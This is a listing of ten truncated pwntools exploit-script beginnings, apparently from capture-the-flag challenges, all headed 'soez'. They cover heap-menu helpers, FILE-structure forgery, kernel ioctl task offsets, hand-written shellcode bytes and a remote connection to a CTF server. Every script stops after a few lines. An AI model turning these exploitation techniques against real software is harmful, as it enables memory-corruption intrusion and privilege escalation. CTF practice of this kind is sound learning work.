soez

from pwn import *

local = False
libc = ELF("./libc.so.6", checksec = False)
binary = ELF("./vuln", checksec = False)

def menu(n):
	io.recvuntil("\nChoice: ")
	io.sendline(str(n))
	

soez

from pwn import *
import binascii

# open-read-write file
filename = "flag.txt"

body  = "\x5f"						# pop rdi
body += "\x80\x77" + chr(len(filename)) + "\x41"	# xor byte [rdi + 11], 0x41 ; 11 = len(/etc/passwd)
body += "\x48\x31\xf6"					# xor rsi, rsi
body += "\x48\x31\xc0"					# xor rax, rax

soez

# -*- coding:utf-8 -*-
from pwn import *

# based on https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

def pack_file(_flags = 0,
		_IO_read_ptr = 0,
		_IO_read_end = 0,
		_IO_read_base = 0,
		_IO_write_base = 0,

soez

# coding: utf-8
from pwn import *

def menu(s):
	io.recvuntil("> ")
	io.sendline(s)

def write(s):
	menu("w")
	io.sendline(s)

soez

# -*- coding:utf-8 -*-
from pwn import *

IOCTL_READ = 901
IOCTL_WRITE = 902

OFFSET_COMM = 0x408
OFFSET_TASKS = 0x210
 
e = ELF('./vmlinux')

soez

# -*- coding:utf-8 -*-
from pwn import *

def menu(n):
	io.recvuntil("Your choice: ")
	io.sendline(str(n))

def malloc(sz, s):
	menu(1)
	io.recvuntil("Size: ")

soez

from pwn import *

def init(s):
	io.recvuntil("Input name: ")
	io.sendline(s)	

def menu(n):
	io.recvuntil("Choice: \n")
	io.sendline(str(n))

soez

from pwn import *

def menu(n):
	r.recvuntil(">> ")
	r.sendline(str(n))

def add(idx, size, payload):
	menu(1)
	r.recvuntil("Enter the index:\n")
	r.sendline(str(idx))

soez

from pwn import *

def menu():
	r.recvuntil("option> ")

def create(pos, name, height, weight, power):
	menu()
	r.sendline("1")
	r.recvuntil("Enter the new pokemon ID: ")
	r.sendline(str(pos))

soez

from pwn import *

local = False

r = process("./t00p_secrets") if local else remote('ctf.sharif.edu', 22107)

r.recvuntil("Enter your master key: ")
r.sendline(p64(4283034714650536567L) + p64(8243946171696569202L) + p64(7454134929210039143L))

def menu(n):